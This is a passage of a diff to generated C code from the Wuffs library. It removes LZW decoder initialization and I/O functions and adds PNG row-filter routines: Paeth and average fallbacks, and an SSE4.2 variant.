wuffs_lzw__error__internal_error_inconsistent_i_o[] = "#lzw: internal error: inconsistent I/O"; +- +-// ---------------- Private Consts +- +-#define WUFFS_LZW__QUIRKS_BASE 1348378624 +- +-// ---------------- Private Initializer Prototypes +- +-// ---------------- Private Function Prototypes ++// -------- func png.decoder.filter_3_distance_4_fallback + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_lzw__decoder__read_from( +- wuffs_lzw__decoder* self, +- wuffs_base__io_buffer* a_src); +- +-WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_lzw__decoder__write_to( +- wuffs_lzw__decoder* self, +- wuffs_base__io_buffer* a_dst); +- +-// ---------------- VTables +- +-const wuffs_base__io_transformer__func_ptrs +-wuffs_lzw__decoder__func_ptrs_for__wuffs_base__io_transformer = { +- (uint64_t(*)(const void*, +- uint32_t))(&wuffs_lzw__decoder__get_quirk), +- (uint64_t(*)(const void*))(&wuffs_lzw__decoder__history_retain_length), +- (wuffs_base__status(*)(void*, +- uint32_t, +- uint64_t))(&wuffs_lzw__decoder__set_quirk), +- (wuffs_base__status(*)(void*, +- wuffs_base__io_buffer*, +- wuffs_base__io_buffer*, +- wuffs_base__slice_u8))(&wuffs_lzw__decoder__transform_io), +- (wuffs_base__range_ii_u64(*)(const void*))(&wuffs_lzw__decoder__workbuf_len), +-}; +- +-// ---------------- Initializer Implementations +- +-wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT +-wuffs_lzw__decoder__initialize( +- wuffs_lzw__decoder* self, +- size_t sizeof_star_self, +- uint64_t wuffs_version, +- uint32_t options){ +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (sizeof(*self) != sizeof_star_self) { +- return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); +- } +- if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || +- (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { +- return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); +- } ++wuffs_png__decoder__filter_3_distance_4_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint8_t v_fa0 = 0; ++ uint8_t v_fa1 = 0; ++ uint8_t v_fa2 = 0; ++ uint8_t v_fa3 = 0; + +- if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { +- // The whole point of this if-check is to detect an uninitialized *self. +- // We disable the warning on GCC. Clang-5.0 does not have this warning. +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic push +-#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" +-#endif +- if (self->private_impl.magic != 0) { +- return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ if (((uint64_t)(a_prev.len)) == 0u) { ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fa0 = ((uint8_t)(((uint8_t)(v_fa0 / 2u)) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(v_fa1 / 2u)) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(v_fa2 / 2u)) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_fa3 = ((uint8_t)(((uint8_t)(v_fa3 / 2u)) + v_curr.ptr[3u])); ++ v_curr.ptr[3u] = v_fa3; ++ v_curr.ptr += 4; ++ } ++ v_curr.len = 0; + } +-#if !defined(__clang__) && defined(__GNUC__) +-#pragma GCC diagnostic pop +-#endif + } else { +- if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { +- memset(self, 0, sizeof(*self)); +- options |= WUFFS_INITIALIZE__ALREADY_ZEROED; +- } else { +- memset(&(self->private_impl), 0, sizeof(self->private_impl)); ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fa0 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa0)) + ((uint32_t)(v_prev.ptr[0u]))) / 2u))) + v_curr.ptr[0u])); ++ v_curr.ptr[0u] = v_fa0; ++ v_fa1 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa1)) + ((uint32_t)(v_prev.ptr[1u]))) / 2u))) + v_curr.ptr[1u])); ++ v_curr.ptr[1u] = v_fa1; ++ v_fa2 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa2)) + ((uint32_t)(v_prev.ptr[2u]))) / 2u))) + v_curr.ptr[2u])); ++ v_curr.ptr[2u] = v_fa2; ++ v_fa3 = ((uint8_t)(((uint8_t)(((((uint32_t)(v_fa3)) + ((uint32_t)(v_prev.ptr[3u]))) / 2u))) + v_curr.ptr[3u])); ++ v_curr.ptr[3u] = v_fa3; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } + } +- +- self->private_impl.magic = WUFFS_BASE__MAGIC; +- self->private_impl.vtable_for__wuffs_base__io_transformer.vtable_name = +- wuffs_base__io_transformer__vtable_name; +- self->private_impl.vtable_for__wuffs_base__io_transformer.function_pointers = +- (const void*)(&wuffs_lzw__decoder__func_ptrs_for__wuffs_base__io_transformer); +- return wuffs_base__make_status(NULL); ++ return wuffs_base__make_empty_struct(); + } + +-wuffs_lzw__decoder* +-wuffs_lzw__decoder__alloc(void) { +- wuffs_lzw__decoder* x = +- (wuffs_lzw__decoder*)(calloc(sizeof(wuffs_lzw__decoder), 1)); +- if (!x) { +- return NULL; +- } +- if (wuffs_lzw__decoder__initialize( +- x, sizeof(wuffs_lzw__decoder), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { +- free(x); +- return NULL; +- } +- return x; +-} ++// -------- func png.decoder.filter_4 + +-size_t +-sizeof__wuffs_lzw__decoder(void) { +- return sizeof(wuffs_lzw__decoder); ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ return (*self->private_impl.choosy_filter_4)(self, a_curr, a_prev); + } + +-// ---------------- Function Implementations +- +-// -------- func lzw.decoder.get_quirk +- + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_lzw__decoder__get_quirk( +- const wuffs_lzw__decoder* self, +- uint32_t a_key) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4__choosy_default( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ uint64_t v_filter_distance = 0; ++ uint64_t v_n = 0; ++ uint64_t v_i = 0; ++ uint32_t v_fa = 0; ++ uint32_t v_fb = 0; ++ uint32_t v_fc = 0; ++ uint32_t v_pp = 0; ++ uint32_t v_pa = 0; ++ uint32_t v_pb = 0; ++ uint32_t v_pc = 0; + +- if (a_key == 1348378624u) { +- return ((uint64_t)(self->private_impl.f_pending_literal_width_plus_one)); ++ v_filter_distance = ((uint64_t)(self->private_impl.f_filter_distance)); ++ v_n = wuffs_base__u64__min(((uint64_t)(a_curr.len)), ((uint64_t)(a_prev.len))); ++ v_i = 0u; ++ while ((v_i < v_n) && (v_i < v_filter_distance)) { ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + a_prev.ptr[v_i])); ++ v_i += 1u; + } +- return 0u; ++ v_i = v_filter_distance; ++ while (v_i < v_n) { ++ v_fa = ((uint32_t)(a_curr.ptr[(v_i - v_filter_distance)])); ++ v_fb = ((uint32_t)(a_prev.ptr[v_i])); ++ v_fc = ((uint32_t)(a_prev.ptr[(v_i - v_filter_distance)])); ++ v_pp = ((uint32_t)(((uint32_t)(v_fa + v_fb)) - v_fc)); ++ v_pa = ((uint32_t)(v_pp - v_fa)); ++ if (v_pa >= 2147483648u) { ++ v_pa = ((uint32_t)(0u - v_pa)); ++ } ++ v_pb = ((uint32_t)(v_pp - v_fb)); ++ if (v_pb >= 2147483648u) { ++ v_pb = ((uint32_t)(0u - v_pb)); ++ } ++ v_pc = ((uint32_t)(v_pp - v_fc)); ++ if (v_pc >= 2147483648u) { ++ v_pc = ((uint32_t)(0u - v_pc)); ++ } ++ if ((v_pa <= v_pb) && (v_pa <= v_pc)) { ++ } else if (v_pb <= v_pc) { ++ v_fa = v_fb; ++ } else { ++ v_fa = v_fc; ++ } ++ a_curr.ptr[v_i] = ((uint8_t)(a_curr.ptr[v_i] + ((uint8_t)(v_fa)))); ++ v_i += 1u; ++ } ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func lzw.decoder.set_quirk ++// -------- func png.decoder.filter_4_distance_3_fallback + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_lzw__decoder__set_quirk( +- wuffs_lzw__decoder* self, +- uint32_t a_key, +- uint64_t a_value) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_3_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint32_t v_fa0 = 0; ++ uint32_t v_fa1 = 0; ++ uint32_t v_fa2 = 0; ++ uint32_t v_fb0 = 0; ++ uint32_t v_fb1 = 0; ++ uint32_t v_fb2 = 0; ++ uint32_t v_fc0 = 0; ++ uint32_t v_fc1 = 0; ++ uint32_t v_fc2 = 0; ++ uint32_t v_pp0 = 0; ++ uint32_t v_pp1 = 0; ++ uint32_t v_pp2 = 0; ++ uint32_t v_pa0 = 0; ++ uint32_t v_pa1 = 0; ++ uint32_t v_pa2 = 0; ++ uint32_t v_pb0 = 0; ++ uint32_t v_pb1 = 0; ++ uint32_t v_pb2 = 0; ++ uint32_t v_pc0 = 0; ++ uint32_t v_pc1 = 0; ++ uint32_t v_pc2 = 0; + +- if (a_key == 1348378624u) { +- if (a_value > 9u) { +- return wuffs_base__make_status(wuffs_base__error__bad_argument); ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 3; ++ v_prev.len = 3; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 3) * 3)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fb0 = ((uint32_t)(v_prev.ptr[0u])); ++ v_pp0 = ((uint32_t)(((uint32_t)(v_fa0 + v_fb0)) - v_fc0)); ++ v_pa0 = ((uint32_t)(v_pp0 - v_fa0)); ++ if (v_pa0 >= 2147483648u) { ++ v_pa0 = ((uint32_t)(0u - v_pa0)); ++ } ++ v_pb0 = ((uint32_t)(v_pp0 - v_fb0)); ++ if (v_pb0 >= 2147483648u) { ++ v_pb0 = ((uint32_t)(0u - v_pb0)); ++ } ++ v_pc0 = ((uint32_t)(v_pp0 - v_fc0)); ++ if (v_pc0 >= 2147483648u) { ++ v_pc0 = ((uint32_t)(0u - v_pc0)); ++ } ++ if ((v_pa0 <= v_pb0) && (v_pa0 <= v_pc0)) { ++ } else if (v_pb0 <= v_pc0) { ++ v_fa0 = v_fb0; ++ } else { ++ v_fa0 = v_fc0; ++ } ++ v_curr.ptr[0u] = ((uint8_t)(v_curr.ptr[0u] + ((uint8_t)(v_fa0)))); ++ v_fa0 = ((uint32_t)(v_curr.ptr[0u])); ++ v_fc0 = v_fb0; ++ v_fb1 = ((uint32_t)(v_prev.ptr[1u])); ++ v_pp1 = ((uint32_t)(((uint32_t)(v_fa1 + v_fb1)) - v_fc1)); ++ v_pa1 = ((uint32_t)(v_pp1 - v_fa1)); ++ if (v_pa1 >= 2147483648u) { ++ v_pa1 = ((uint32_t)(0u - v_pa1)); ++ } ++ v_pb1 = ((uint32_t)(v_pp1 - v_fb1)); ++ if (v_pb1 >= 2147483648u) { ++ v_pb1 = ((uint32_t)(0u - v_pb1)); ++ } ++ v_pc1 = ((uint32_t)(v_pp1 - v_fc1)); ++ if (v_pc1 >= 2147483648u) { ++ v_pc1 = ((uint32_t)(0u - v_pc1)); ++ } ++ if ((v_pa1 <= v_pb1) && (v_pa1 <= v_pc1)) { ++ } else if (v_pb1 <= v_pc1) { ++ v_fa1 = v_fb1; ++ } else { ++ v_fa1 = v_fc1; ++ } ++ v_curr.ptr[1u] = ((uint8_t)(v_curr.ptr[1u] + ((uint8_t)(v_fa1)))); ++ v_fa1 = ((uint32_t)(v_curr.ptr[1u])); ++ v_fc1 = v_fb1; ++ v_fb2 = ((uint32_t)(v_prev.ptr[2u])); ++ v_pp2 = ((uint32_t)(((uint32_t)(v_fa2 + v_fb2)) - v_fc2)); ++ v_pa2 = ((uint32_t)(v_pp2 - v_fa2)); ++ if (v_pa2 >= 2147483648u) { ++ v_pa2 = ((uint32_t)(0u - v_pa2)); ++ } ++ v_pb2 = ((uint32_t)(v_pp2 - v_fb2)); ++ if (v_pb2 >= 2147483648u) { ++ v_pb2 = ((uint32_t)(0u - v_pb2)); ++ } ++ v_pc2 = ((uint32_t)(v_pp2 - v_fc2)); ++ if (v_pc2 >= 2147483648u) { ++ v_pc2 = ((uint32_t)(0u - v_pc2)); ++ } ++ if ((v_pa2 <= v_pb2) && (v_pa2 <= v_pc2)) { ++ } else if (v_pb2 <= v_pc2) { ++ v_fa2 = v_fb2; ++ } else { ++ v_fa2 = v_fc2; ++ } ++ v_curr.ptr[2u] = ((uint8_t)(v_curr.ptr[2u] + ((uint8_t)(v_fa2)))); ++ v_fa2 = ((uint32_t)(v_curr.ptr[2u])); ++ v_fc2 = v_fb2; ++ v_curr.ptr += 3; ++ v_prev.ptr += 3; + } +- self->private_impl.f_pending_literal_width_plus_one = ((uint32_t)(a_value)); +- return wuffs_base__make_status(NULL); ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func lzw.decoder.history_retain_length ++// -------- func png.decoder.filter_4_distance_4_fallback + + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC uint64_t +-wuffs_lzw__decoder__history_retain_length( +- const wuffs_lzw__decoder* self) { +- if (!self) { +- return 0; +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return 0; +- } +- +- return 0u; +-} +- +-// -------- func lzw.decoder.workbuf_len ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_4_distance_4_fallback( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr, ++ wuffs_base__slice_u8 a_prev) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ wuffs_base__slice_u8 v_prev = {0}; ++ uint32_t v_fa0 = 0; ++ uint32_t v_fa1 = 0; ++ uint32_t v_fa2 = 0; ++ uint32_t v_fa3 = 0; ++ uint32_t v_fb0 = 0; ++ uint32_t v_fb1 = 0; ++ uint32_t v_fb2 = 0; ++ uint32_t v_fb3 = 0; ++ uint32_t v_fc0 = 0; ++ uint32_t v_fc1 = 0; ++ uint32_t v_fc2 = 0; ++ uint32_t v_fc3 = 0; ++ uint32_t v_pp0 = 0; ++ uint32_t v_pp1 = 0; ++ uint32_t v_pp2 = 0; ++ uint32_t v_pp3 = 0; ++ uint32_t v_pa0 = 0; ++ uint32_t v_pa1 = 0; ++ uint32_t v_pa2 = 0; ++ uint32_t v_pa3 = 0; ++ uint32_t v_pb0 = 0; ++ uint32_t v_pb1 = 0; ++ uint32_t v_pb2 = 0; ++ uint32_t v_pb3 = 0; ++ uint32_t v_pc0 = 0; ++ uint32_t v_pc1 = 0; ++ uint32_t v_pc2 = 0; ++ uint32_t v_pc3 = 0; + +-WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__range_ii_u64 +-wuffs_lzw__decoder__workbuf_len( +- const wuffs_lzw__decoder* self) { +- if (!self) { +- return wuffs_base__utility__empty_range_ii_u64(); +- } +- if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && +- (self->private_impl.magic != WUFFS_BASE__DISABLED)) { +- return wuffs_base__utility__empty_range_ii_u64(); ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ wuffs_base__slice_u8 i_slice_prev = a_prev; ++ v_prev.ptr = i_slice_prev.ptr; ++ i_slice_curr.len = ((size_t)(wuffs_base__u64__min(i_slice_curr.len, i_slice_prev.len))); ++ v_curr.len = 4; ++ v_prev.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_fb0 = ((uint32_t)(v_prev.ptr[0u])); ++ v_pp0 = ((uint32_t)(((uint32_t)(v_fa0 + v_fb0)) - v_fc0)); ++ v_pa0 = ((uint32_t)(v_pp0 - v_fa0)); ++ if (v_pa0 >= 2147483648u) { ++ v_pa0 = ((uint32_t)(0u - v_pa0)); ++ } ++ v_pb0 = ((uint32_t)(v_pp0 - v_fb0)); ++ if (v_pb0 >= 2147483648u) { ++ v_pb0 = ((uint32_t)(0u - v_pb0)); ++ } ++ v_pc0 = ((uint32_t)(v_pp0 - v_fc0)); ++ if (v_pc0 >= 2147483648u) { ++ v_pc0 = ((uint32_t)(0u - v_pc0)); ++ } ++ if ((v_pa0 <= v_pb0) && (v_pa0 <= v_pc0)) { ++ } else if (v_pb0 <= v_pc0) { ++ v_fa0 = v_fb0; ++ } else { ++ v_fa0 = v_fc0; ++ } ++ v_curr.ptr[0u] = ((uint8_t)(v_curr.ptr[0u] + ((uint8_t)(v_fa0)))); ++ v_fa0 = ((uint32_t)(v_curr.ptr[0u])); ++ v_fc0 = v_fb0; ++ v_fb1 = ((uint32_t)(v_prev.ptr[1u])); ++ v_pp1 = ((uint32_t)(((uint32_t)(v_fa1 + v_fb1)) - v_fc1)); ++ v_pa1 = ((uint32_t)(v_pp1 - v_fa1)); ++ if (v_pa1 >= 2147483648u) { ++ v_pa1 = ((uint32_t)(0u - v_pa1)); ++ } ++ v_pb1 = ((uint32_t)(v_pp1 - v_fb1)); ++ if (v_pb1 >= 2147483648u) { ++ v_pb1 = ((uint32_t)(0u - v_pb1)); ++ } ++ v_pc1 = ((uint32_t)(v_pp1 - v_fc1)); ++ if (v_pc1 >= 2147483648u) { ++ v_pc1 = ((uint32_t)(0u - v_pc1)); ++ } ++ if ((v_pa1 <= v_pb1) && (v_pa1 <= v_pc1)) { ++ } else if (v_pb1 <= v_pc1) { ++ v_fa1 = v_fb1; ++ } else { ++ v_fa1 = v_fc1; ++ } ++ v_curr.ptr[1u] = ((uint8_t)(v_curr.ptr[1u] + ((uint8_t)(v_fa1)))); ++ v_fa1 = ((uint32_t)(v_curr.ptr[1u])); ++ v_fc1 = v_fb1; ++ v_fb2 = ((uint32_t)(v_prev.ptr[2u])); ++ v_pp2 = ((uint32_t)(((uint32_t)(v_fa2 + v_fb2)) - v_fc2)); ++ v_pa2 = ((uint32_t)(v_pp2 - v_fa2)); ++ if (v_pa2 >= 2147483648u) { ++ v_pa2 = ((uint32_t)(0u - v_pa2)); ++ } ++ v_pb2 = ((uint32_t)(v_pp2 - v_fb2)); ++ if (v_pb2 >= 2147483648u) { ++ v_pb2 = ((uint32_t)(0u - v_pb2)); ++ } ++ v_pc2 = ((uint32_t)(v_pp2 - v_fc2)); ++ if (v_pc2 >= 2147483648u) { ++ v_pc2 = ((uint32_t)(0u - v_pc2)); ++ } ++ if ((v_pa2 <= v_pb2) && (v_pa2 <= v_pc2)) { ++ } else if (v_pb2 <= v_pc2) { ++ v_fa2 = v_fb2; ++ } else { ++ v_fa2 = v_fc2; ++ } ++ v_curr.ptr[2u] = ((uint8_t)(v_curr.ptr[2u] + ((uint8_t)(v_fa2)))); ++ v_fa2 = ((uint32_t)(v_curr.ptr[2u])); ++ v_fc2 = v_fb2; ++ v_fb3 = ((uint32_t)(v_prev.ptr[3u])); ++ v_pp3 = ((uint32_t)(((uint32_t)(v_fa3 + v_fb3)) - v_fc3)); ++ v_pa3 = ((uint32_t)(v_pp3 - v_fa3)); ++ if (v_pa3 >= 2147483648u) { ++ v_pa3 = ((uint32_t)(0u - v_pa3)); ++ } ++ v_pb3 = ((uint32_t)(v_pp3 - v_fb3)); ++ if (v_pb3 >= 2147483648u) { ++ v_pb3 = ((uint32_t)(0u - v_pb3)); ++ } ++ v_pc3 = ((uint32_t)(v_pp3 - v_fc3)); ++ if (v_pc3 >= 2147483648u) { ++ v_pc3 = ((uint32_t)(0u - v_pc3)); ++ } ++ if ((v_pa3 <= v_pb3) && (v_pa3 <= v_pc3)) { ++ } else if (v_pb3 <= v_pc3) { ++ v_fa3 = v_fb3; ++ } else { ++ v_fa3 = v_fc3; ++ } ++ v_curr.ptr[3u] = ((uint8_t)(v_curr.ptr[3u] + ((uint8_t)(v_fa3)))); ++ v_fa3 = ((uint32_t)(v_curr.ptr[3u])); ++ v_fc3 = v_fb3; ++ v_curr.ptr += 4; ++ v_prev.ptr += 4; ++ } ++ v_curr.len = 0; ++ v_prev.len = 0; + } +- +- return wuffs_base__utility__make_range_ii_u64(0u, 0u); ++ return wuffs_base__make_empty_struct(); + } + +-// -------- func lzw.decoder.transform_io ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func png.decoder.filter_1_distance_4_x86_sse42 + ++#if defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + WUFFS_BASE__GENERATED_C_CODE +-WUFFS_BASE__MAYBE_STATIC wuffs_base__status +-wuffs_lzw__decoder__transform_io( +- wuffs_lzw__decoder* self, +- wuffs_base__io_buffer* a_dst, +- wuffs_base__io_buffer* a_src, +- wuffs_base__slice_u8 a_workbuf) { +- if (!self) { +- return wuffs_base__make_status(wuffs_base__error__bad_receiver); +- } +- if (self->private_impl.magic != WUFFS_BASE__MAGIC) { +- return wuffs_base__make_status( +- (self->private_impl.magic == WUFFS_BASE__DISABLED) +- ? wuffs_base__error__disabled_by_previous_error +- : wuffs_base__error__initialize_not_called); +- } +- if (!a_dst || !a_src) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__bad_argument); +- } +- if ((self->private_impl.active_coroutine != 0) && +- (self->private_impl.active_coroutine != 1)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); +- } +- self->private_impl.active_coroutine = 0; +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- uint32_t v_i = 0; +- +- uint32_t coro_susp_point = self->private_impl.p_transform_io[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++static wuffs_base__empty_struct ++wuffs_png__decoder__filter_1_distance_4_x86_sse42( ++ wuffs_png__decoder* self, ++ wuffs_base__slice_u8 a_curr) { ++ wuffs_base__slice_u8 v_curr = {0}; ++ __m128i v_x128 = {0}; ++ __m128i v_a128 = {0}; + +- self->private_impl.f_literal_width = 8u; +- if (self->private_impl.f_pending_literal_width_plus_one > 0u) { +- self->private_impl.f_literal_width = (self->private_impl.f_pending_literal_width_plus_one - 1u); +- } +- self->private_impl.f_clear_code = (((uint32_t)(1u)) << self->private_impl.f_literal_width); +- self->private_impl.f_end_code = (self->private_impl.f_clear_code + 1u); +- self->private_impl.f_save_code = self->private_impl.f_end_code; +- self->private_impl.f_prev_code = self->private_impl.f_end_code; +- self->private_impl.f_width = (self->private_impl.f_literal_width + 1u); +- self->private_impl.f_bits = 0u; +- self->private_impl.f_n_bits = 0u; +- self->private_impl.f_output_ri = 0u; +- self->private_impl.f_output_wi = 0u; +- v_i = 0u; +- while (v_i < self->private_impl.f_clear_code) { +- self->private_data.f_lm1s[v_i] = 0u; +- self->private_data.f_suffixes[v_i][0u] = ((uint8_t)(v_i)); +- v_i += 1u; ++ { ++ wuffs_base__slice_u8 i_slice_curr = a_curr; ++ v_curr.ptr = i_slice_curr.ptr; ++ v_curr.len = 4; ++ const uint8_t* i_end0_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 8) * 8)); ++ while (v_curr.ptr < i_end0_curr) { ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_a128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_a128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; + } +- while (true) { +- wuffs_lzw__decoder__read_from(self, a_src); +- if (self->private_impl.f_output_wi > 0u) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_lzw__decoder__write_to(self, a_dst); +- if (status.repr) { +- goto suspend; +- } +- } +- if (self->private_impl.f_read_from_return_value == 0u) { +- break; +- } else if (self->private_impl.f_read_from_return_value == 1u) { +- continue; +- } else if (self->private_impl.f_read_from_return_value == 2u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_read); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(2); +- } else if (self->private_impl.f_read_from_return_value == 3u) { +- status = wuffs_base__make_status(wuffs_lzw__error__truncated_input); +- goto exit; +- } else if (self->private_impl.f_read_from_return_value == 4u) { +- status = wuffs_base__make_status(wuffs_lzw__error__bad_code); +- goto exit; +- } else { +- status = wuffs_base__make_status(wuffs_lzw__error__internal_error_inconsistent_i_o); +- goto exit; +- } ++ v_curr.len = 4; ++ const uint8_t* i_end1_curr = wuffs_private_impl__ptr_u8_plus_len(v_curr.ptr, (((i_slice_curr.len - (size_t)(v_curr.ptr - i_slice_curr.ptr)) / 4) * 4)); ++ while (v_curr.ptr < i_end1_curr) { ++ v_x128 = _mm_cvtsi32_si128((int32_t)(wuffs_base__peek_u32le__no_bounds_check(v_curr.ptr))); ++ v_x128 = _mm_add_epi8(v_x128, v_a128); ++ v_a128 = v_x128; ++ wuffs_base__poke_u32le__no_bounds_check(v_curr.ptr, ((uint32_t)(_mm_cvtsi128_si32(v_x128)))); ++ v_curr.ptr += 4; + } +- +- ok: +- self->private_impl.p_transform_io[0] = 0; +- goto exit; +- } +- +- goto suspend; +- suspend: +- self->private_impl.p_transform_io[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; +- +- goto exit; +- exit: +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; ++ v_curr.len = 0; + } +- return status; ++ return wuffs_base__make_empty_struct(); + } ++#endif // defined(WUFFS_PRIVATE_IMPL__CPU_ARCH__X86_64_V2) ++// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + +-// -------- func lzw.decoder.read_from ++// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 ++// -------- func png.decoder.filter_3_distance_4_x86_sse42 + ++#if 